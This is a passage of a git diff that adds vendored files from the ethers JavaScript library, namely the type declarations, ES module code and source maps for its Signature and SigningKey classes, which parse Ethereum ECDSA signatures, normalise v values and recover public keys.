AC,KAAgB;IACnC,MAAM,IAAI,GAAG,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC,CAAC;IACrC,OAAO,OAAO,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC,CAAC;AACnC,CAAC;AACD,MAAM,CAAC,CAAC,GAAG,OAAO,CAAC;AACnB,MAAM,CAAC,IAAI,GAAG,cAAmB,SAAS,GAAG,IAAI,CAAC,CAAC,CAAC,CAAA;AACpD,MAAM,CAAC,QAAQ,GAAG,UAAS,IAAqC;IAC5D,IAAI,SAAS,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,kBAAkB,CAAC,CAAC;KAAE;IACvD,QAAQ,GAAG,IAAI,CAAC;AACpB,CAAC,CAAA;AACD,MAAM,CAAC,MAAM,CAAC,MAAM,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signature.d.ts b/node_modules/ethers/lib.esm/crypto/signature.d.ts new file mode 100644 index 000000000000..1554e3368dd2 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signature.d.ts @@ -0,0 +1,171 @@ +import type { BigNumberish, BytesLike } from "../utils/index.js"; +/** + * A SignatureLike + * + * @_docloc: api/crypto:Signing + */ +export type SignatureLike = Signature | string | { + r: string; + s: string; + v: BigNumberish; + yParity?: 0 | 1; + yParityAndS?: string; +} | { + r: string; + yParityAndS: string; + yParity?: 0 | 1; + s?: string; + v?: number; +} | { + r: string; + s: string; + yParity: 0 | 1; + v?: BigNumberish; + yParityAndS?: string; +}; +/** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ +export declare class Signature { + #private; + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r(): string; + set r(value: BytesLike); + /** + * The ``s`` value for a signature. + */ + get s(): string; + set s(_value: BytesLike); + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s(): string; + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid(): boolean; + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v(): 27 | 28; + set v(value: BigNumberish); + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV(): null | bigint; + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId(): null | bigint; + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity(): 0 | 1; + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS(): string; + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized(): string; + /** + * The serialized representation. + */ + get serialized(): string; + /** + * @private + */ + constructor(guard: any, r: string, s: string, v: 27 | 28); + /** + * Returns a new identical [[Signature]]. + */ + clone(): Signature; + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON(): any; + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v: BigNumberish): bigint; + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * //_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId: BigNumberish, v: 27 | 28): bigint; + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v: BigNumberish): 27 | 28; + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig?: SignatureLike): Signature; +} +//# sourceMappingURL=signature.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signature.d.ts.map b/node_modules/ethers/lib.esm/crypto/signature.d.ts.map new file mode 100644 index 000000000000..2f9e0ad8f395 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signature.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signature.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/signature.ts"],"names":[],"mappings":"AAQA,OAAO,KAAK,EACR,YAAY,EAAE,SAAS,EAC1B,MAAM,mBAAmB,CAAC;AAgB3B;;;;GAIG;AACH,MAAM,MAAM,aAAa,GAAG,SAAS,GAAG,MAAM,GAAG;IAC7C,CAAC,EAAE,M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,IAAI,iBAAiB,IAAI,MAAM,CAE9B;IAED;;OAEG;IACH,IAAI,UAAU,IAAI,MAAM,CAEvB;IAED;;OAEG;gBACS,KAAK,EAAE,GAAG,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,EAAE,GAAG,EAAE;IAYxD;;OAEG;IACH,KAAK,IAAI,SAAS;IAMlB;;OAEG;IACH,MAAM,IAAI,GAAG;IASb;;;;;;;;;OASG;IACH,MAAM,CAAC,UAAU,CAAC,CAAC,EAAE,YAAY,GAAG,MAAM;IAY1C;;;;;;;;;;;;;OAaG;IACH,MAAM,CAAC,WAAW,CAAC,OAAO,EAAE,YAAY,EAAE,CAAC,EAAE,EAAE,GAAG,EAAE,GAAG,MAAM;IAI7D;;;;;;;;;;;;;;;;;;;;OAoBG;IACH,MAAM,CAAC,cAAc,CAAC,CAAC,EAAE,YAAY,GAAG,EAAE,GAAG,EAAE;IAY/C;;;;;;;OAOG;IACH,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,aAAa,GAAG,SAAS;CAqF9C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signature.js b/node_modules/ethers/lib.esm/crypto/signature.js new file mode 100644 index 000000000000..a3fb42f97195 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signature.js @@ -0,0 +1,315 @@ +import { ZeroHash } from "../constants/index.js"; +import { concat, dataLength, getBigInt, getBytes, getNumber, hexlify, toBeArray, isHexString, zeroPadValue, assertArgument, assertPrivate } from "../utils/index.js"; +// Constants +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_2 = BigInt(2); +const BN_27 = BigInt(27); +const BN_28 = BigInt(28); +const BN_35 = BigInt(35); +const _guard = {}; +function toUint256(value) { + return zeroPadValue(toBeArray(value), 32); +} +/** + * A Signature @TODO + * + * + * @_docloc: api/crypto:Signing + */ +export class Signature { + #r; + #s; + #v; + #networkV; + /** + * The ``r`` value for a signature. + * + * This represents the ``x`` coordinate of a "reference" or + * challenge point, from which the ``y`` can be computed. + */ + get r() { return this.#r; } + set r(value) { + assertArgument(dataLength(value) === 32, "invalid r", "value", value); + this.#r = hexlify(value); + } + /** + * The ``s`` value for a signature. + */ + get s() { + assertArgument(parseInt(this.#s.substring(0, 3)) < 8, "non-canonical s; use ._s", "s", this.#s); + return this.#s; + } + set s(_value) { + assertArgument(dataLength(_value) === 32, "invalid s", "value", _value); + this.#s = hexlify(_value); + } + /** + * Return the s value, unchecked for EIP-2 compliance. + * + * This should generally not be used and is for situations where + * a non-canonical S value might be relevant, such as Frontier blocks + * that were mined prior to EIP-2 or invalid Authorization List + * signatures. + */ + get _s() { return this.#s; } + /** + * Returns true if the Signature is valid for [[link-eip-2]] signatures. + */ + isValid() { + return (parseInt(this.#s.substring(0, 3)) < 8); + } + /** + * The ``v`` value for a signature. + * + * Since a given ``x`` value for ``r`` has two possible values for + * its correspondin ``y``, the ``v`` indicates which of the two ``y`` + * values to use. + * + * It is normalized to the values ``27`` or ``28`` for legacy + * purposes. + */ + get v() { return this.#v; } + set v(value) { + const v = getNumber(value, "value"); + assertArgument(v === 27 || v === 28, "invalid v", "v", value); + this.#v = v; + } + /** + * The EIP-155 ``v`` for legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get networkV() { return this.#networkV; } + /** + * The chain ID for EIP-155 legacy transactions. For non-legacy + * transactions, this value is ``null``. + */ + get legacyChainId() { + const v = this.networkV; + if (v == null) { + return null; + } + return Signature.getChainId(v); + } + /** + * The ``yParity`` for the signature. + * + * See ``v`` for more details on how this value is used. + */ + get yParity() { + return (this.v === 27) ? 0 : 1; + } + /** + * The [[link-eip-2098]] compact representation of the ``yParity`` + * and ``s`` compacted into a single ``bytes32``. + */ + get yParityAndS() { + // The EIP-2098 compact representation + const yParityAndS = getBytes(this.s); + if (this.yParity) { + yParityAndS[0] |= 0x80; + } + return hexlify(yParityAndS); + } + /** + * The [[link-eip-2098]] compact representation. + */ + get compactSerialized() { + return concat([this.r, this.yParityAndS]); + } + /** + * The serialized representation. + */ + get serialized() { + return concat([this.r, this.s, (this.yParity ? "0x1c" : "0x1b")]); + } + /** + * @private + */ + constructor(guard, r, s, v) { + assertPrivate(guard, _guard, "Signature"); + this.#r = r; + this.#s = s; + this.#v = v; + this.#networkV = null; + } + [Symbol.for('nodejs.util.inspect.custom')]() { + return `Signature { r: "${this.r}", s: "${this._s}"${this.isValid() ? "" : ', valid: "false"'}, yParity: ${this.yParity}, networkV: ${this.networkV} }`; + } + /** + * Returns a new identical [[Signature]]. + */ + clone() { + const clone = new Signature(_guard, this.r, this._s, this.v); + if (this.networkV) { + clone.#networkV = this.networkV; + } + return clone; + } + /** + * Returns a representation that is compatible with ``JSON.stringify``. + */ + toJSON() { + const networkV = this.networkV; + return { + _type: "signature", + networkV: ((networkV != null) ? networkV.toString() : null), + r: this.r, s: this._s, v: this.v, + }; + } + /** + * Compute the chain ID from the ``v`` in a legacy EIP-155 transactions. + * + * @example: + * Signature.getChainId(45) + * //_result: + * + * Signature.getChainId(46) + * //_result: + */ + static getChainId(v) { + const bv = getBigInt(v, "v"); + // The v is not an EIP-155 v, so it is the unspecified chain ID + if ((bv == BN_27) || (bv == BN_28)) { + return BN_0; + } + // Bad value for an EIP-155 v + assertArgument(bv >= BN_35, "invalid EIP-155 v", "v", v); + return (bv - BN_35) / BN_2; + } + /** + * Compute the ``v`` for a chain ID for a legacy EIP-155 transactions. + * + * Legacy transactions which use [[link-eip-155]] hijack the ``v`` + * property to include the chain ID. + * + * @example: + * Signature.getChainIdV(5, 27) + * //_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId, v) { + return (getBigInt(chainId) * BN_2) + BigInt(35 + v - 27); + } + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v) { + const bv = getBigInt(v); + if (bv === BN_0 || bv === BN_27) { + return 27; + } + if (bv === BN_1 || bv === BN_28) { + return 28; + } + assertArgument(bv >= BN_35, "invalid v", "v", v); + // Otherwise, EIP-155 v means odd is 27 and even is 28 + return (bv & BN_1) ? 27 : 28; + } + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig) { + function assertError(check, message) { + assertArgument(check, message, "signature", sig); + } + ; + if (sig == null) { + return new Signature(_guard, ZeroHash, ZeroHash, 27); + } + if (typeof (sig) === "string") { + const bytes = getBytes(sig, "signature"); + if (bytes.length === 64) { + const r = hexlify(bytes.slice(0, 32)); + const s = bytes.slice(32, 64); + const v = (s[0] & 0x80) ? 28 : 27; + s[0] &= 0x7f; + return new Signature(_guard, r, hexlify(s), v); + } + if (bytes.length === 65) { + const r = hexlify(bytes.slice(0, 32)); + const s = hexlify(bytes.slice(32, 64)); + const v = Signature.getNormalizedV(bytes[64]); + return new Signature(_guard, r, s, v); + } + assertError(false, "invalid raw signature length"); + } + if (sig instanceof Signature) { + return sig.clone(); + } + // Get r + const _r = sig.r; + assertError(_r != null, "missing r"); + const r = toUint256(_r); + // Get s; by any means necessary (we check consistency below) + const s = (function (s, yParityAndS) { + if (s != null) { + return toUint256(s); + } + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + const bytes = getBytes(yParityAndS); + bytes[0] &= 0x7f; + return hexlify(bytes); + } + assertError(false, "missing s"); + })(sig.s, sig.yParityAndS); + // Get v; by any means necessary (we check consistency below) + const { networkV, v } = (function (_v, yParityAndS, yParity) { + if (_v != null) { + const v = getBigInt(_v); + return { + networkV: ((v >= BN_35) ? v : undefined), + v: Signature.getNormalizedV(v) + }; + } + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + return { v: ((getBytes(yParityAndS)[0] & 0x80) ? 28 : 27) }; + } + if (yParity != null) { + switch (getNumber(yParity, "sig.yParity")) { + case 0: return { v: 27 }; + case 1: return { v: 28 }; + } + assertError(false, "invalid yParity"); + } + assertError(false, "missing v"); + })(sig.v, sig.yParityAndS, sig.yParity); + const result = new Signature(_guard, r, s, v); + if (networkV) { + result.#networkV = networkV; + } + // If multiple of v, yParity, yParityAndS we given, check they match + assertError(sig.yParity == null || getNumber(sig.yParity, "sig.yParity") === result.yParity, "yParity mismatch"); + assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, "yParityAndS mismatch"); + return result; + } +} +//# sourceMappingURL=signature.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signature.js.map b/node_modules/ethers/lib.esm/crypto/signature.js.map new file mode 100644 index 000000000000..a89208892dff --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signature.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signature.js","sourceRoot":"","sources":["../../src.ts/crypto/signature.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,QAAQ,EAAE,MAAM,uBAAuB,CAAC;AACjD,OAAO,EACH,MAAM,EAAE,UAAU,EAAE,SAAS,EAAE,QAAQ,EAAE,SAAS,EAAE,OAAO,EAC3D,SAAS,EAAE,WAAW,EAAE,YAAY,EACpC,cAAc,EAAE,aAAa,EAChC,MAAM,mBAAmB,CAAC;AAO3B,YAAY;AACZ,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AACzB,MAAM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AC9C,IAAI,QAAQ,EAAE;YAAE,MAAM,CAAC,SAAS,GAAI,QAAQ,CAAC;SAAE;QAE/C,oEAAoE;QACpE,WAAW,CAAC,GAAG,CAAC,OAAO,IAAI,IAAI,IAAI,SAAS,CAAC,GAAG,CAAC,OAAO,EAAE,aAAa,CAAC,KAAK,MAAM,CAAC,OAAO,EAAE,kBAAkB,CAAC,CAAC;QACjH,WAAW,CAAC,GAAG,CAAC,WAAW,IAAI,IAAI,IAAI,GAAG,CAAC,WAAW,KAAK,MAAM,CAAC,WAAW,EAAE,sBAAsB,CAAC,CAAC;QAEvG,OAAO,MAAM,CAAC;IAClB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signing-key.d.ts b/node_modules/ethers/lib.esm/crypto/signing-key.d.ts new file mode 100644 index 000000000000..0864d3b81e4d --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signing-key.d.ts @@ -0,0 +1,122 @@ +/** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ +import { Signature } from "./signature.js"; +import type { BytesLike } from "../utils/index.js"; +import type { SignatureLike } from "./index.js"; +/** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ +export declare class SigningKey { + #private; + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey: BytesLike); + /** + * The private key. + */ + get privateKey(): string; + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey(): string; + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey(): string; + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest: BytesLike): Signature; + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other: BytesLike): string; + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key: BytesLike, compressed?: boolean): string; + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest: BytesLike, signature: SignatureLike): string; + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0: BytesLike, p1: BytesLike, compressed?: boolean): string; +} +//# sourceMappingURL=signing-key.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signing-key.d.ts.map b/node_modules/ethers/lib.esm/crypto/signing-key.d.ts.map new file mode 100644 index 000000000000..6ce11800b651 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signing-key.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"signing-key.d.ts","sourceRoot":"","sources":["../../src.ts/crypto/signing-key.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AASH,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAE3C,OAAO,KAAK,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEnD,OAAO,KAAK,EAAE,aAAa,EAAE,MAAM,YAAY,CAAC;AAGhD;;;GAGG;AACH,qBAAa,UAAU;;IAGnB;;OAEG;gBACS,UAAU,EAAE,SAAS;IAKjC;;OAEG;IACH,IAAI,UAAU,IAAI,MAAM,CAA6B;IAErD;;;;;OAKG;IACH,IAAI,SAAS,IAAI,MAAM,CAA0D;IAEjF;;;;;;OAMG;IACH,IAAI,mBAAmB,IAAI,MAAM,CAAgE;IAEjG;;OAEG;IACH,IAAI,CAAC,MAAM,EAAE,SAAS,GAAG,SAAS;IAclC;;;;;;;;;;;;;;;;;;;;;OAqBG;IACH,mBAAmB,CAAC,KAAK,EAAE,SAAS,GAAG,MAAM;IAK7C;;;;;;;;;;;;;;;;;;;;;;;;OAwBG;IACH,MAAM,CAAC,gBAAgB,CAAC,GAAG,EAAE,SAAS,EAAE,UAAU,CAAC,EAAE,OAAO,GAAG,MAAM;IAqBrE;;;;;;;;;;;;;;;;;OAiBG;IACH,MAAM,CAAC,gBAAgB,CAAC,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,aAAa,GAAG,MAAM;IAc5E;;;;;;;;;OASG;IACH,MAAM,CAAC,SAAS,CAAC,EAAE,EAAE,SAAS,EAAE,EAAE,EAAE,SAAS,EAAE,UAAU,CAAC,EAAE,OAAO,GAAG,MAAM;CAK/E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signing-key.js b/node_modules/ethers/lib.esm/crypto/signing-key.js new file mode 100644 index 000000000000..28baab54581c --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signing-key.js @@ -0,0 +1,166 @@ +/** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ +import { secp256k1 } from "@noble/curves/secp256k1"; +import { concat, dataLength, getBytes, getBytesCopy, hexlify, toBeHex, assertArgument } from "../utils/index.js"; +import { Signature } from "./signature.js"; +/** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ +export class SigningKey { + #privateKey; + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey) { + assertArgument(dataLength(privateKey) === 32, "invalid private key", "privateKey", "[REDACTED]"); + this.#privateKey = hexlify(privateKey); + } + /** + * The private key. + */ + get privateKey() { return this.#privateKey; } + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey() { return SigningKey.computePublicKey(this.#privateKey); } + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey() { return SigningKey.computePublicKey(this.#privateKey, true); } + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest) { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + const sig = secp256k1.sign(getBytesCopy(digest), getBytesCopy(this.#privateKey), { + lowS: true + }); + return Signature.from({ + r: toBeHex(sig.r, 32), + s: toBeHex(sig.s, 32), + v: (sig.recovery ? 0x1c : 0x1b) + }); + } + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other) { + const pubKey = SigningKey.computePublicKey(other); + return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey), getBytes(pubKey), false)); + } + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key, compressed) { + let bytes = getBytes(key, "key"); + // private key + if (bytes.length === 32) { + const pubKey = secp256k1.getPublicKey(bytes, !!compressed); + return hexlify(pubKey); + } + // raw public key; use uncompressed key with 0x04 prefix + if (bytes.length === 64) { + const pub = new Uint8Array(65); + pub[0] = 0x04; + pub.set(bytes, 1); + bytes = pub; + } + const point = secp256k1.ProjectivePoint.fromHex(bytes); + return hexlify(point.toRawBytes(compressed)); + } + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest, signature) { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + const sig = Signature.from(signature); + let secpSig = secp256k1.Signature.fromCompact(getBytesCopy(concat([sig.r, sig.s]))); + secpSig = secpSig.addRecoveryBit(sig.yParity); + const pubKey = secpSig.recoverPublicKey(getBytesCopy(digest)); + assertArgument(pubKey != null, "invalid signature for digest", "signature", signature); + return "0x" + pubKey.toHex(false); + } + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0, p1, compressed) { + const pub0 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2)); + const pub1 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2)); + return "0x" + pub0.add(pub1).toHex(!!compressed); + } +} +//# sourceMappingURL=signing-key.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/crypto/signing-key.js.map b/node_modules/ethers/lib.esm/crypto/signing-key.js.map new file mode 100644 index 000000000000..d6cf8890d839 --- /dev/null +++ b/node_modules/ethers/lib.esm/crypto/signing-key.js.map @@ -0,0 +1 @@ +{"version":3,"file":"signing-key.js","sourceRoot":"","sources":["../../src.ts/crypto/signing-key.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,yBAAyB,CAAC;AAEpD,OAAO,EACH,MAAM,EAAE,UAAU,EAAE,QAAQ,EAAE,YAAY,EAAE,OAAO,EAAE,OAAO,EAC5D,cAAc,EACjB,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC;AAO3C;;;GAGG;AACH,MAAM,OAAO,UAAU;IACnB,WAAW,CAAS;IAEpB;;OAEG;IACH,YAAY,UAAqB;QAC7B,cAAc,CAAC,UAAU,CAAC,UAAU,CAAC,KAAK,EAAE,EAAE,qBAAqB,EAAE,YAAY,EAAE,YAAY,CAAC,CAAC;QACjG,IAAI,CAAC,WAAW,GAAG,OAAO,CAAC,UAAU,CAAC,CAAC;IAC3C,CAAC;IAED;;OAEG;IACH,IAAI,UAAU,KAAa,OAAO,IAAI,CAAC,WAAW,CA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,gBAAgB,CAAC,YAAY,CAAC,MAAM,CAAC,CAAC,CAAC;QAC9D,cAAc,CAAC,MAAM,IAAI,IAAI,EAAE,8BAA8B,EAAE,WAAW,EAAE,SAAS,CAAC,CAAC;QAEvF,OAAO,IAAI,GAAG,MAAM,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;IACtC,CAAC;IAED;;;;;;;;;OASG;IACH,MAAM,CAAC,SAAS,CAAC,EAAa,EAAE,EAAa,EAAE,UAAoB;QAC/D,MAAM,IAAI,GAAG,SAAS,CAAC,eAAe,CAAC,OAAO,CAAC,UAAU,CAAC,gBAAgB,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC;QAC7F,MAAM,IAAI,GAAG,SAAS,CAAC,eAAe,CAAC,OAAO,CAAC,UAAU,CAAC,gBAAgB,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC;QAC7F,OAAO,IAAI,GAAG,IAAI,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC,KAAK,CAAC,CAAC,CAAC,UAAU,CAAC,CAAA;IACpD,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/ethers.d.ts b/node_modules/ethers/lib.esm/ethers.d.ts new file mode 100644 index 000000000000..11d3614e25da --- /dev/null +++ b/node_modules/ethers/lib.esm/ethers.d.ts @@ -0,0 +1,22 @@ +export { version } from "./_version.js"; +export { decodeBytes32String, encodeBytes32String, AbiCoder, ConstructorFragment, ErrorFragment, EventFragment, Fragment, FallbackFragment, FunctionFragment, NamedFragment, ParamType, StructFragment, checkResultErrors, ErrorDescription, Indexed, Interface, LogDescription, Result, TransactionDescription, Typed, } from "./abi/index.js"; +export { getAddress, getIcapAddress, getCreateAddress, getCreate2Address, isAddressable, isAddress, resolveAddress } from "./address/index.js"; +export { ZeroAddress, WeiPerEther, MaxUint256, MinInt256, MaxInt256, N, ZeroHash, EtherSymbol, MessagePrefix } from "./constants/index.js"; +export { BaseContract, Contract, ContractFactory, 